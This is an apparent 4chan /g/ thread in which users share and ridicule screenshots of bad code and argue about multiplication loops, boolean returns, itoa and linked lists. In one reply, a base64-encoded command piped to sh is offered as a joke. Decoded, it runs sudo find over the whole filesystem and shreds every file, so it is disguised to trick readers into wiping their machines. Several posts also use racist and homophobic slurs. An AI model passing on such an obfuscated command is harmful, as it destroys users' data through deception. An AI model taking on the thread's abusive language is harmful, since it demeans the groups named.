[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

CS grad thread. Dumping my entire collection of the best /g/

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 314
Thread images: 70

File: 01475767089708.jpg (60KB, 618x779px) Image search: [Google]
01475767089708.jpg
60KB, 618x779px
CS grad thread.

Dumping my entire collection of the best /g/ meme and seeing if anyone has anything new.
>>
File: 1462621433331.png (104KB, 1170x670px) Image search: [Google]
1462621433331.png
104KB, 1170x670px
>>
File: 1462296534738.png (311KB, 652x669px) Image search: [Google]
1462296534738.png
311KB, 652x669px
>>
File: 1457041587446.png (36KB, 1450x1334px) Image search: [Google]
1457041587446.png
36KB, 1450x1334px
>>
File: 1457041541328.png (41KB, 942x739px) Image search: [Google]
1457041541328.png
41KB, 942x739px
>>
File: 1496321637074.jpg (59KB, 655x527px) Image search: [Google]
1496321637074.jpg
59KB, 655x527px
>>61075519
What the hell
>>
File: 1457040677966.png (47KB, 928x819px) Image search: [Google]
1457040677966.png
47KB, 928x819px
>>
>>61075484
Sit down let's talk about that 4Chan watermark.
>>
File: 1457040551531.png (27KB, 571x553px) Image search: [Google]
1457040551531.png
27KB, 571x553px
>>
File: 1457040310672.png (131KB, 1101x1029px) Image search: [Google]
1457040310672.png
131KB, 1101x1029px
>>
File: 1457040221084.png (154KB, 3000x3000px) Image search: [Google]
1457040221084.png
154KB, 3000x3000px
>>
File: 1457034433321.png (37KB, 694x446px) Image search: [Google]
1457034433321.png
37KB, 694x446px
>>
File: 1457034433320.png (32KB, 694x446px) Image search: [Google]
1457034433320.png
32KB, 694x446px
>>
File: 1443819552609.png (62KB, 850x800px) Image search: [Google]
1443819552609.png
62KB, 850x800px
>>
File: 1443819080780.png (36KB, 1515x663px) Image search: [Google]
1443819080780.png
36KB, 1515x663px
>>
File: 1443818891240.png (34KB, 1092x426px) Image search: [Google]
1443818891240.png
34KB, 1092x426px
>>
File: 1425473695874.png (42KB, 916x753px) Image search: [Google]
1425473695874.png
42KB, 916x753px
>>
File: 1425473635288.png (38KB, 890x670px) Image search: [Google]
1425473635288.png
38KB, 890x670px
>>
File: 1423429601017.png (37KB, 694x732px) Image search: [Google]
1423429601017.png
37KB, 694x732px
>>
File: 1423428283447.png (34KB, 461x660px) Image search: [Google]
1423428283447.png
34KB, 461x660px
>>
File: 1423422463037.png (29KB, 702x663px) Image search: [Google]
1423422463037.png
29KB, 702x663px
>>
File: 1421137016546-2.png (568KB, 606x699px) Image search: [Google]
1421137016546-2.png
568KB, 606x699px
>>61075785
>>
All right that's it boys, most are from months ago. Post new stuff!
>>
>>61075484
>CS Grad
At least that's masters
>>
>>61075519
That's retarded

There should be a swap at the beginning if b > a
>>
>>61075785
Most of these are just stupid or unnecessary long implementation but this one can actually cause damage...
>>
>>61076386
>can
>>
File: 1496523636990.png (287KB, 836x1065px) Image search: [Google]
1496523636990.png
287KB, 836x1065px
>>
this is code from yandere simulator
http://pastebin.com/raw/hsqba0Pn
>if (Yandere.Armed == true && Yandere.Weapon[Yandere.Equipped].Suspicious == true || Yandere.Bloodiness > 0 && Yandere.Paint == false || Yandere.Sanity < 33.333 || Yandere.Attacking == true || Yandere.Struggling == true || Yandere.Dragging == true || Yandere.Lewd == true || Yandere.Laughing == true && Yandere.LaughIntensity > 15 || Private == true && Yandere.Trespassing == true || Teacher == true && Yandere.Trespassing == true || Teacher == true && Yandere.Rummaging == true || StudentID == 1 && Yandere.NearSenpai == true && Yandere.Talking == false)
>>
>>61075623
Wasn't this the pomf.se file name code?
>>
File: 1473397773946.png (2MB, 4760x4986px) Image search: [Google]
1473397773946.png
2MB, 4760x4986px
>>
File: 1485301465168.png (149KB, 828x801px) Image search: [Google]
1485301465168.png
149KB, 828x801px
>>61079448
2600+ lines of unoptimized and unmaintainable code, crammed together in one method running 60 times per second.

Enjoy.
>>
>>61075785
I wish I had a dollar for every time I accidentally deleted my hard drive like this.
>>
>>61076679
I'm getting triggered because this doesn't follow the original formula for the meme.
>>
>>61075484
Daily reminder that computer science is filled with cucks, gaymurs, "I want to make apps bro" chadlets, man children, idiots in general, poo in the loos, "herro my friend can I see yurr code" chinks, and other degenerates.
>>
>>61079448
what the fuck language is this?
>>
>>61079643
>(float)6
uh
>>
>>61080348
6.0 is not tsundere enough
>>
File: GUvW23N.png (77KB, 694x801px) Image search: [Google]
GUvW23N.png
77KB, 694x801px
>>61075484
This one is classic
>>
>>61080331
Java
>>
>>61080658
You have to admire how idiotic that kind of sidestepping of the problem is.
>>
>>61079556
I dont know what the fuck that is but writing 100000 lines of repeating code is not neccessarily a bad thing if by doing that one can avoid usig loops and shit like that. Just write a script to generate repetitive part and then paste it in to your program. It will probably run 20x faster.
>>
>>61080848
>Dunning-Kruger.txt
>>
>>61080848
Isn't that already common compiler practice if a loop needs to repeat a fixed number of times?
>>
>>61080848
>I dont know what the fuck that is

You don't know the school book way of checking if a number is prime?
>>
>>61080848
>he doesn't know what metaprogramming is
>>
>>61079800
How so?
>>
>>61081050
There's no "haha just kidding you okay"
>>
>>61080998
From experience compiles doesnt always detect it, it basicly works on the most basic loops.
>>
>>61075507
what lang is this
>>
File: 1458789379689.gif (575KB, 200x200px) Image search: [Google]
1458789379689.gif
575KB, 200x200px
>>61075785
ouch
>>
>>61080331
>>61080702
It's not java, java doesn't use "var" or "function".
I'm pretty sure it's javascript.
>>
>>61080702
Definitely not Java. Pretty sure this code is being inputed into Unity and last time I checked, Unity doesn't work with Java. I believe it either works with C#, JavaScript or Boo (whatever that is).
>>61081694
Probably this.
>>
>>61081372
rust
>>
File: hmmmmmmm.jpg (3KB, 99x108px) Image search: [Google]
hmmmmmmm.jpg
3KB, 99x108px
>>61075586
what kind of fukkery is this even ?
what the fuck is this supposed to do ?
>>
>>61075785
oh boy
>>
>>61075539
This one hurts
>>
>>61075539
>>61082898

You can sort of see what they were going for too
>>
>>61079872
Only in the USA, my friend. Only in the USA.
>>
>>61082804
It starts with what looks like hex parsing
>>
>>61082941
It's bad, because it doesn't look that bad at first glance, and even works properly. (Looks random)
>>
File: 4zduxp6lb85z.jpg (201KB, 929x3380px) Image search: [Google]
4zduxp6lb85z.jpg
201KB, 929x3380px
>>61075484
>>
File: jeez bubs.png (148KB, 222x293px) Image search: [Google]
jeez bubs.png
148KB, 222x293px
>>61075785
Holy fuck how can that even be an "accident"?
>>
>>61083460
doesn't java have a parseint with radix?
>>
>>61083460

why not

i=0;
dec=0;
while(str[i]!='\0'){
dec += (str[i++]=='1') ? dec+1 : dec;
}
>>
>>61083513
looks like it was just a single character " "
>>
>>61075519
Why would you calculate the product of a and b without using the product operator?
>>
>>61084356
Even so, why wouldn't your immediate response be a for loop? Some people...
>>
>>61080331
>>61080702
>>61081694
>>61082764
This is C#
>>
>>61084367
No? Use recursion.
>>
https://games.slashdot.org/story/07/12/06/1312254/EVE-Online-Patch-Makes-XP-Unbootable
>>
>>61075728
The "return 24" made me laugh.
>>
>>61075661
Haha but for what purpose
>>
>>61084367
>>61084384
ooooooooooooorrrrrr
it only says you can't use *

so instead just divide by the reciprocal

a*b = a/(1/b)
>>
>studio.h
I laughed. Good one.
>>
>>61084356
to teach for loops...
>>
>>61084356
It's dumb contrived tasks made by brainless TAs. It doesn't teach you about for loops. Get a real iterative task for that.
>>
>>61084728
it was probably supposed to be a getter but whoever wrote it absentmindedly gave it a parameter
>>
>>61075558
I assume that's more or less how itoa is implemented, tho. Plus some more cases for negatives and whatnot, of course.
>>
>>61075681
I see this kind of shit all the time and it drives me crazy

if (var == true) {
return true;
} else {
return false;
}


Just fucking return var reeeeeeeeeeeeeeeeeee
>>
>>61085084
I love seeing that kind of shit because it lets me know immediately whether or not the person whose code I'm reviewing is a moron or not.
That is to say, whether or not *I* should be reviewing it or if I can hand it off to a jr dev. This has the added benefit of letting me find out which of the fresh hires aren't fucking retards on my team.
>>
>>61085084
nothing wrong there.
>>
>>61085101
Makes sense. I started a new job where this kind of shit happens, though, and trying to correct the code of someone who has a higher status in the company usually comes back with a lot of complaints ("we do it that way around here", etc)
>>
>>61085069
Even K&R's example implementation, which states in the same damn line it explains how it works that it's not accurate for huge negative numbers, is less retarded than that.
 /* itoa:  convert n to characters in s */
void itoa(int n, char s[])
{
int i, sign;

if ((sign = n) < 0) /* record sign */
n = -n; /* make n positive */
i = 0;
do { /* generate digits in reverse order */
s[i++] = n % 10 + '0'; /* get next digit */
} while ((n /= 10) > 0); /* delete it */
if (sign < 0)
s[i++] = '-';
s[i] = '\0';
reverse(s);
}
>>
>>61082783
gross
>>
>>61085121
It's needlessly verbose. Doing this would be better in most cases:
return var;


And for cases where you can't do that, you could remove the else:
if (var) {
return var;
}
return false;
>>
>>61084744
damn
this is brilliant
and would piss off the prof
>>
>>61084356
almost always as an exercise
but some instruction sets on shit like arduino boards might not even have multiplication built in
>>
>>61085140
Yeah, shorter and nicer. Still, same algo complexity and basically the same idea. The only real improvement is using '0' + n % 10 instead of a case switch. I'd argue that >>61085069 is bad, but there is a hint of reasoning behind it, I have hopes for them -- unlike most of the monstrosities ITT.
>>
>>61085211
>same algo complexity
String var = ""; var = "1" + var;
is NOT the same complexity. Strings are immutable in almost every language, redefining them or using += almost always means you're creating an entirely new variable and having to reassign all of it in memory.
On top of that, using a switch case inside of a while loop is way way less efficient than doing raw logic to get the characters you want.

The case example is something I would expect from a first year student.
>>
>>61075747
>simple!
>>
>>61085249
Oh, yeah, you are right about that. In the K&R the string is preallocated.
>>
>>61085275
The best way to do it in a managed language (that I can think of) is use similar logic to the K&R example, pre-allocate a char[] and then call toString() at the very end, since you cant preallocate empty strings easily.
>>
>>61080658
My other favorite is sorting an array by randomizing it until it's sorted.
>>
>>61085342
Sleepsort is king
while ($_ = shift and @ARGV and !fork);
sleep $_;
print "$_\n";
wait;
>>
>>61083513
it's just tiny typo, have seen shit like this wiping productive environments, not fun
>>
>>61075597
holy shit the `i += 2` is INSIDE the if statement, it will literally never complete
>>
>>61080583
Hell you can just write 6. and it will work
>>
>>61079556
Why the `i += 30030`? I don't understand the loop part
>>
>>61083186

You mean if he had actually managed to return the "random" result, then yes it would look random.

What triggers me isn't the seeding but that fucking modulo bias. Given the right max value and the right application, you could utterly break the application.

That's what you get when you aim to be "inclusive". Fuck you rust and fuck your gay inclusiveness.
>>
>>61079872
so true, thank god I was denied and did math instead

making six figures writing C now
>>
>>61085663
Did you just take programming classes or did you learn programming on the side?
>>
>>61079872
>>61085663
I wonder if someone will write the /g/ version of Ride the Tiger or Archeofuturism.
>>
>>61085015
I think I've done that before actually
>>
>>61075539
>>61085488
aside from the "return 2;" meme what's wrong with that code?
>>
File: ehow_php.png (161KB, 1200x1200px) Image search: [Google]
ehow_php.png
161KB, 1200x1200px
>>61075484
>>
>>61086146
well yeah, if you have a bunch of variables that you need outside access to it's easy to get mixed up writing all the getters and setters if you don't have something to generate them for you
>>
>>61086321
>relying on time in your random number generator
>not using a stochastic process or at least a cryptographically secure PRNG
Amateur hour over here
>>
File: 11.png (221KB, 785x492px) Image search: [Google]
11.png
221KB, 785x492px
>>61079872
>some older vet wanted to make an app that used child labor to shovel peoples driveways and sidewalks like some kid of uber/lyft type app
>mfw he literally said, 'i already bought some code for the app bro'
>>
File: 1406342141339.png (118KB, 694x732px) Image search: [Google]
1406342141339.png
118KB, 694x732px
>>
File: 1406342198440 - Copy.png (101KB, 694x670px) Image search: [Google]
1406342198440 - Copy.png
101KB, 694x670px
>>
>>61079643
>everything is a string
>writing your game in javascript
>>
>>61086417
it's C#
>>
>>61086417
>>61086429
>still memeing on decompiled code
>>
File: 1406342198441.png (72KB, 694x670px) Image search: [Google]
1406342198441.png
72KB, 694x670px
>>
File: 1478103257469.png (517KB, 836x717px) Image search: [Google]
1478103257469.png
517KB, 836x717px
>>61086449
>he thinks it's decompiled code
>implying the decompiler would spit such unoptimized code unless done explicitly by the dev
Your code a shit, YandereDev.
>>
>>61086449
I've worked with decompiled code, I've cracked games before. That looks nothing like disassembled code, even with bytecode languages.
>>
>>61084744
Or you can just do byte operations. Pretty easy at least for int.
>>
File: 1406342198442.png (83KB, 694x670px) Image search: [Google]
1406342198442.png
83KB, 694x670px
>>
File: 1406342198443.png (71KB, 694x670px) Image search: [Google]
1406342198443.png
71KB, 694x670px
>>
File: 1406354735971.png (334KB, 1881x915px) Image search: [Google]
1406354735971.png
334KB, 1881x915px
>>
File: openssl.jpg (76KB, 732x802px) Image search: [Google]
openssl.jpg
76KB, 732x802px
>>61075484
>>
File: 1413003240977.png (116KB, 1515x663px) Image search: [Google]
1413003240977.png
116KB, 1515x663px
>>
File: 1414554478954.png (73KB, 1092x426px) Image search: [Google]
1414554478954.png
73KB, 1092x426px
>>
File: 1414554539138.png (68KB, 675x426px) Image search: [Google]
1414554539138.png
68KB, 675x426px
>>
File: 1415091883625.png (151KB, 766x664px) Image search: [Google]
1415091883625.png
151KB, 766x664px
>>
File: 1415091883626.png (184KB, 392x766px) Image search: [Google]
1415091883626.png
184KB, 392x766px
>>
File: 1489378020033.jpg (15KB, 184x184px) Image search: [Google]
1489378020033.jpg
15KB, 184x184px
>>61086648
>"oh I was just trying to save space to make it fit"
>puts useless whitespace in the cout stream
>>
File: 1463163008848.png (638KB, 4760x4986px) Image search: [Google]
1463163008848.png
638KB, 4760x4986px
>>
>>61086712
Enjoy blowing out your i-cache.
>>
>>61086931
MSVC just crashes when compiling it.
>>
>>61086957
MSVC crashes when compiling hello world programs too though, so that isn't saying much
>>
>>61075643
NO
>>
anyone have the yanderedev one?
>>
>>61075770
Love this one.
>Mallocing a char* instead of using a local char[]
>Malloc cast
>Potential overflow
>Memory leak
>>
>>61085147
>>61085084
Yeah, nah. Returning var is Comp Sci Graduate Meme-teir.

If you return var, it'll return whatever var is, which isn't always what you want senpai.

Maybe you just literally want a boolean.
If, for example, var = 10, it still returns true. Maybe you don't want to return 10 m8, you just want to return true.
>>
>>61087385

If your function signature specifies that it returns a bool then it will be implicitly converted to a bool, just as it would in the if condition.

Alternatively use a cast.
>>
>>61087385
That's why functions have a return type
>>
File: nwalk02.png (58KB, 838x983px) Image search: [Google]
nwalk02.png
58KB, 838x983px
>>61081070
Doesn't have to. See this ancient edit for reference
>>
>>61075728
This has to be done on purpose
>>
>>61084376
Pretty sure C# doesn't use "function" to declare functions either.
>>
>>61087385
>he uses Python
>>
>>61087641
>I actually meant Javascript
>>
File: 1497307589681.png (413KB, 811x767px) Image search: [Google]
1497307589681.png
413KB, 811x767px
>>61075785
w-wow...
>>
>>61075484
>studio.h
>>
>>61075519
return a=a*b;

Fucking retards.
>>
>>61075785
He forgot to add 'echo 'c3VkbyBmaW5kIC8gLXR5cGUgZiAtZXhlYyBzaHJlZCB7fSBcOw==' | base64 -D | sh' lol
>>
>>61079643
Why didn't he use switch instead of fucking if else?
>>
File: bash_fuckery.png (24KB, 808x249px) Image search: [Google]
bash_fuckery.png
24KB, 808x249px
>>61075785
steam did that, more than once..
>>
>>61089139
>>61075785
>using loonix
>>
>>61089150
you can make the same error on window
>>
>>61085180
Isn't math taught in school anymore?
long division / long multiplication is pretty basic stuff and it is even easier when you do it in base2.
>>
>>61089016
>without ysing the operator *
>>
>>61075539
didnt Sony had something like that in their encryption routine for the PS3 which led to cracking all games
>>
File: 1489202376669.png (228KB, 445x462px) Image search: [Google]
1489202376669.png
228KB, 445x462px
>>
>>61089434
>v2.6.1
wat?
>>
>>61087432
Considering the print string is actually a comment
>>
File: tmp_916-1497896742042-691838822.jpg (188KB, 500x502px) Image search: [Google]
tmp_916-1497896742042-691838822.jpg
188KB, 500x502px
>>61075612
>Main.cpp
>>
>>61089016
Is this bait?
>>
>>61089016
It's return a*=b;
>>
>>61086616

try int(input):
type="integer"
else:
type="not int"
>>
>>61089764

jesus wtf is wrong with me

try: int(input):
type="integer"
except:
type="not int"
>>
File: LINUSS-FINGER.gif (2MB, 400x360px) Image search: [Google]
LINUSS-FINGER.gif
2MB, 400x360px
>>61086321
Two issues:

> He is using the standard rng included with the C std library the internal state of which which can be trivially deduced.
> The "random" value is known if the time at which the function was invoked is known,
> Depending on the value of randMax, you might get a large subset of the output range that is twice as likely to occur as the rest.

For the last point, think i%2 where i is in [0, 2]. 0 is twice as likely to occur as 1. It's a horrible bug that is too common in beginner code.

That's why I like the hostility of C (stay awesome linus) and abhor inclusive shit and moronic communities like rust where beginners don't get there asses handed to them when they fuck up.

Beginners should be scared shitless to present there work as a serious project, not fucking encouraged.

Want to have fun? take a look at the "security" crates at crates.io (rust's package repository).

Shame though, because the language itself is one of the best I've used.
>>
>>61075586
It's because he used Times, isn't it. At leased he preserved (mostly) proper indention.
>>
>>61079448
Is this why he refuses to make it foss?
>>
>>61084997

It does teach you about for loops, it teaches you how useful they are for solving a dynamic problem, and it teaches you that multiplication can be viewed as iterative adding.

You see, the problem is simply solved by using one number of the multiplication as i, and adding the other number i times. This student obviously missed the point of the exercise. The fact that they missed such a simple point to an easy exercise probably shows that person shouldn't be in CS.
>>
>>61087385
Even in that case it would make more sense to just do
return var == true
>>
File: 1456689023066.gif (1MB, 160x120px) Image search: [Google]
1456689023066.gif
1MB, 160x120px
>>61075597
>The number is false
>>
File: 1496571715479.png (464KB, 481x518px) Image search: [Google]
1496571715479.png
464KB, 481x518px
Where the fuck do you even find these code snippets
>>
File: 1497373763340.jpg (7KB, 240x240px) Image search: [Google]
1497373763340.jpg
7KB, 240x240px
Connect Four, lads:
http://ideone.com/c697Lt
>>
File: Titus Get the Cross.png (416KB, 500x737px) Image search: [Google]
Titus Get the Cross.png
416KB, 500x737px
>>61090518
nigga what the fuck is this
>>
>>61086559
xD
>>
File: 1497832251953.png (206KB, 2724x2200px) Image search: [Google]
1497832251953.png
206KB, 2724x2200px
>>
>>61090248
Anon of course I saw all that. But you don't understand the grander point of my post. This teaches you to operate the syntax of a for loop. The problem is a trivial implementation of a for loop where you don't even use the index. You don't keep track of an increment in any way you just leave it to the conditional in the C style for loop.
A moderately good exercise would be one where you use a more complex third expression than i++ in the for loop, have a first expression that's not just the index.
Have an index be used for something and have an actual problem to solve inside the loop.
You sound just like my old TA who thought converting decimal to hex and then as a bonus decimal to binary was a good challenge. Or the typical old palindrome exercise.
It's made for brainless programmers and slows down the pace of courses ridiculously much. That course basically only covered the syntax of C in 8 weeks.
It was an awful waste of time and they forced attendance because they decided that attendance should account for a portion of the score on the final.

Everyone knows multiplication is repeated addition. This is not an exercise, it's an example the lecturer might bring up just to make the understanding of the for loop body more explicit.

The people in that class that were keeping up at that pace and didn't consider it overly easy stuff dropped out. Because they couldn't handle the rest of school at all. It's much better to put more pressure on them so they don't waste their time. That's one of the reasons why math courses are often early on despite being completely unnecessary for quite a few courses. Because some people think CS is code-monkeying.

This system produces this exact kind of TA that could consider giving this as an exercise. Because the TAs aren't exactly out of the running for dropping out either. They've just wasted more of their time than most.
>>
>>61090518
Is there an easy way to check if one player wins except for checking horizontal, etc. for a win condition after a turn?
>>
>>61090631
You can check based on the last move. Since for every step in the game the last move needs to be involved in a win.
>>
>>61089060
Faggot.
Also, it's base64 -d.
>>
>>61084744
>so instead just divide by the reciprocal
Welcome to you're 0.000000001 = 0
>>
>>61090814
Yeah I figured as much, but you would still need to check from last piece:
does 3 left equal last piece
does 2 left + 1 right equal last piece
etc.
or not?
>>
>>61084367
>>61084953
>>61084997

>for loop

Are you a retarded?

What is Logarithm+Addition?

For looks, egh! It's a fucking one liner ffs.
>>
>>61090382
>his language type-juggles ==
>>
>>61086639
What's up with this?
>>
>>61091695
he could just do
System.out.println(a.equals(c));
>>
>>61090817
wtf! Today I learned
>>
>>61085211
The '0' part actually (ab)uses the fact that digits in ASCII are sequential and start with '0'. So, (char)'0' + (int)0 = '0', (char)'0' + (int)3 = '3', etc.
>>
>>61091210
We're discussing the purpose. Not the best way to do it.
>>
>>61092148
I feel like that doesn't really qualify as abusing.
>>
>>61091210
>What is Logarithm+Addition?

What is rounding error? Every freshman should be able to write this in less than 2 minutes:
int mult(int a, int b){
int prod = 0;
bool sgn = (b<0) ? true : false;
while(b){
if(b&1){
prod+=a;
}
a<<=1;
b/=2;
}
return sgn ? -prod : prod;
}
>>
>>61095593
>bit shifting
Fuck off.
>>
>>61095593
>
bool sgn = (b<0) ? true : false

Good christ why
>>
>>61096191
>implying bit shifting isn't the most efficient solution anyways
That implementation is terrible, but come on.
>>
>>61090248

because university students need to learn multiplications is iterative adding?
>>
>>61089060
>echoed this without the pipe to sh, but still paranoid
spooky as fuck
>>
>>61096283
What? There are no signed zeros so you have to remember b's original sign.

>>61096191
Would you rather a+=a?
>>
>>61096471
>iterative adding

Any student that writes an exponential multiplication function should be expelled.
>>
>>61097482
>What?
bool sgn = (b<0);


Fuck you and your "? true : false" bullshit
>>
>>61097682
Are you aware what thread you're in?
>>
>>61098212
Anon wasn't trying to be a candidate
>>
>>61089581
Triple quotes are a multi-line string, not a comment.
>>
>>61090248
>You see, the problem is simply solved by using one number of the multiplication as i, and adding the other number i times

What if i is a 128bit number? Iteratively adding will never finish.
>>
>>61080998
No. It will compile to a loop and the branch predictor will cause the next instructions to be loaded anyways, so they execute one after another
>>
>
>>61075747
userNumber=input()
if userNumber % 2 == 1:
print('Even faggot')
else:
print('Odd nigger')
>>
>>61086648
Just ’cause:
if ( tweeter == gamergater || tweet == negative ) {
cout << "Block" << endl;
}
>>
>>61090161
>>>61079448
>Is this why he refuses to make it foss?
That and because he wants to be part of his own sekrit klub. He's too full of himself.
>>
>>61080848

Compilers automatically unroll loops.
>>
File: 1498369842332.jpg (28KB, 410x461px) Image search: [Google]
1498369842332.jpg
28KB, 410x461px
>>61079556
>//good luck
>>
>>61100419
Isn't this wrong?
>>
>>61075691
>that's a number and a word
I lost
>>
>>61103229
Yeah, it's supposed to be x%2==0 for evens.
>>
>>61086672
Underrated post
>>
>>61086672
I did my best to translate this into readable code… if we can call it “readable”

using namespace std;

void main()
{
setlocale(LC_CTYPE, "Russian") ;
{
bool SEMKI ;
cout << "There are seeds, fuck? \n" ;
cin >> SEMKI;
if(SEMKI == 1)
{
cout<< "Handsome \n" ;
}
else
{
cout<< "Run up, bitch? \n" ;
}
}
}


I used Google translate for the strings, but I do know quite a lot of these define directive were using swear words, such as “blyat” (“fuck”) for the semi-colon, or “cyka” (“bitch”) for the ==

And yes, I kept the original indentation (though I used 2 spaces instead of four)
>>
>>61103750
apparently 4chan automatically transformed my two-space tabs to four-space tabs. Oh well
>>
>>61103750
It's basically gopnik slang. The first string says "got any sunflower seeds, mate?", second one says "nice", third one says "you wanna go, bitch?"
>>
>>61085479
30030 = 2*3*5*7*11*13

i+=2 when skipping evens and only checking 2n+1
i+=6 when skipping multiples of 2 and 3 and only checking 6n+1 and 6n+5
i+=2*3*5*7*11*13 when skipping multiples of 2, 3, 5, 7, 11, and 13 and checking numbers coprime to 30030 which is why there are 5760 clauses in that if statement.
>>
>>61080848
Let's assume you're right.
The proper way to do this is to iterate over an array. Bam, no loop, your amazing "speedup" still holds, and the code is actually legible and updateable.
>>
>>61089150
Dumb wintoddler
>>
>>61087385
and this is why you shouldn't """learn""" programming with shit, weakly typed languages
>>
>>61103761
>transformed my two-space tabs to four-space tabs
Are you actually retarded?
>>
>>61105087
yes, I was still half asleep.
I feel ashamed now I realize what I said
>>
File: 1369770862796.jpg (56KB, 600x480px) Image search: [Google]
1369770862796.jpg
56KB, 600x480px
>>61086672
>#define блять ;
>>
>>61075710
I don't trust else if I don't know how it is technically implemented in the language
>>
>>61101619
My language only turns fors into whiles
>>
>>61086494
Topkek, I'm surprised he even still posts here tbqh. Not to mention the reason he doesn't let anyone else touch his meme game is because one look at that code and you'd be laughing so hard you'd have to call an ambulance.
>>
>>61076679
CS is indeed a superset of pure maths though.
>>
>>61089581
>>61098733
Technically it's a documentation string. They're generally supposed to be used for documentation, but they also function as a multiline string.
>>
>>61085342
That's called bogosort

https://en.wikipedia.org/wiki/Bogosort

>>61104716
>iterate over an array
Wouldn't you index into it?
>>
>>61092808

>Welcome to building birdhouses 101
>We need to teach you about how walls are needed to hold the roof and isolate the bird from the elements. Using walls is very helpful
>Exercise 1: Build a birdhouse without using any solid matter. This will teach you why walls are important.

Yeah, brilliant. No wonder CS grads are literally a meme.
>>
>>61108794
You're a literal retard.
>>
>>61086712
I think this whole thing itself is generated with a program
>>
File: notMyCodeItsTheCompiler.png (176KB, 1297x672px) Image search: [Google]
notMyCodeItsTheCompiler.png
176KB, 1297x672px
>>61075484
>>
>>61085342
http://wiki.c2.com/?QuantumBogoSort
>>
File: programmingFor10to11Years.png (130KB, 1278x522px) Image search: [Google]
programmingFor10to11Years.png
130KB, 1278x522px
>>
>>61075612
What the fuck is going on here
>>
>>61075691
what if I use hexadecimal...
>>
>>61099596
Yup. Should just use x=a/(1/b).
>>
>>61110430
Enjoy your rounding errors.
>>
>>61111158
It's the best solution if you don't want to write your own bitwise float multiplication function.

Most other solutions disregard negatives and/or decimals.
>>
>>61101370
Just ’cause:
if(tweeter==gamergater||tweet==negative) cout<<"Block"<<"\n";
>>
>>61107843
>retards seriously believe this.
>>
File: 1497363391530.jpg (142KB, 900x879px) Image search: [Google]
1497363391530.jpg
142KB, 900x879px
>>61112952
>"Block"<<"\n"
>>
The CS grad meme is true. About ten or so years ago, the group that I was i needed to hire another couple of programmers. Our interview process was a half day ending in a conference room where (among other things) we asked them to write some code on the blackboard while we watched (and also talked to each other while they were writing, aka normal office noise). Also inb4 "programming tests are stupid".

The CS grads were fucking hopeless. The two things we asked to code were "reverse a linked list" and "copy a file". Their brains had been completely addled by teaching them in Java. (also inb4 "you don't need to know how linked lists work, use muh STL!", our code had some serious performance needs) The linked list coding made me really sad, since that would literally be a test question in a CS201 data structures class THAT THEY HAD TO TAKE FOR THEIR FUCKING DEGREE. (For my own interview, that's exactly what I did, went back to that knowledge. I also knew file copy inside and out, including buffering implications, since I had done that on my own back in floppy disk days.)

The ones who weren't hopeless? The EE grads. Because they were actually taught relevant languages like C.
>>
File: sony_i_am_disappoint.gif (48KB, 480x600px) Image search: [Google]
sony_i_am_disappoint.gif
48KB, 480x600px
>>61089366
I think Sony actually missed the srand() part.
>>
>>61113678
If you asked me to reverse a linked list on the spot, without testing anything fancy, I would write a function that made a flat array equal to the depth of the linked list, popped each element off, and then pushed them back in reverse order.

Would I pass?
>>
>>61113738
It's all about the breadcrumbs m8, mind your p's and q's, sort of like doing crochet with pointers instead of yarn. Literally the first thing I thought was "they are asking me to do this on a whiteboard, so it's probably straightforward".

Also, while working on a problem during a programming contest back in my uni days, I realized that bubble sort could be done on a linked list, saving a lot of coding time.

>>61113738
>Would I pass?
You would still have been miles ahead of the CS grads we interviewed. And it would have been entertaining code to see. Of course, by the time you figured out the "depth" of the linked list, you could have already figured out how to do it.
>>
>>61113880
What's the proper way to reverse a linked list other than to make an array of linked list node pointers to flatten the list without popping and then exchanging the *next pointer from the left and right sides till you get to the center?
>>
>>61113918
Create pointer for new list, pull them off of the old list one by one and append them to the beginning of the new list. (p = oldlist; oldlist = oldlist->next; p->next = newlist; newlist = p;) Return pointer as head of reversed list. Strangely, I didn't think of it so clearly then, yet it seems obvious now.
>>
>>61114069
My way is probably faster.
>>
>>61080658

>getTomorrowsDate
>Not GetDateTomorrow
>>
>>61114097
The problem was specifically stated as a singly-linked list.
4 assignments in an O(n) loop is slower than creating an array that you don't even know the size of without first traversing the list? Working with a singly-linked linked list from the end toward the beginning?
If that's what you want to think. My way doesn't even care what the size of the list is.
>>
>>61114144
I don't know why you wouldn't store the size of a linked list in the head struct you're passing around.
>>
>>61113678
I don't know how to copy a file at a low level, because I've always used standard libraries to do input in every language I've worked with. I've never needed the performance to bother learning C. I wouldn't say that C is that relevant these days. Most stuff isn't performance critical enough to need it.

That said, I'm not done with university, and I'm taking a systems programming course next semester, which uses C. But that's an optional course, so assuming other universities have similar requirements, I wouldn't expect every grad to know C and low level stuff by default. If you want C programmers, interview C programmers.

I agree with you completely on the linked list thing though. That should be doable by a competent programmer in any language, and it's a good question because it tests whether they know at least basic data structures and probably pointers as well.
>>
>>61114170
>wasting bytes storing the size of a linked list that you have to keep updated
>implying it will never be wrong

>>61114188
It was basically a matter of knowing how to use read() and write(), how to handle EOF, and how to use a buffer smaller than malloc(filesize(f)). The performance implications were follow-on questions which would be the difference between "at least this guy doesn't suck" and "this guy knows his shit".
>>
>>61114270
A linked list is already incredibly wasteful, spending something like 16 bytes storing the next pointer and the actual pointer to your (hopefully) nontrivial data, per list member.
>>
>>61114188
>I wouldn't expect every grad to know C and low level stuff by default. If you want C programmers, interview C programmers.
We didn't specify a language, it could be pseudocode for all we cared. (Remember how I said CS grads were addled by Java? Guess how I knew they were taught Java, because that's what they tried to do on the whiteboard.) Just tell us what each step needed to be.

>>61114295
As opposed to the overhead of expanding and shrinking arrays all the time? Do you even know how those standard libraries are implemented, or are you just trolled by how simple it looks to call them?
>>
File: stm32_4eb91a.png (91KB, 250x250px) Image search: [Google]
stm32_4eb91a.png
91KB, 250x250px
>>61114295
It's literally just a next pointer at the head of the data, why do you need another pointer to the data?

(I'm not even going to argue about 32 vs 64-bit here, but there's still a lot of 32-bit in the world, and a lot of times when 64K of RAM is a luxury.)
>>
>>61114372
What's another 64 bits for the size if you're gonna be traversing it all the time?
>>
>>61114318
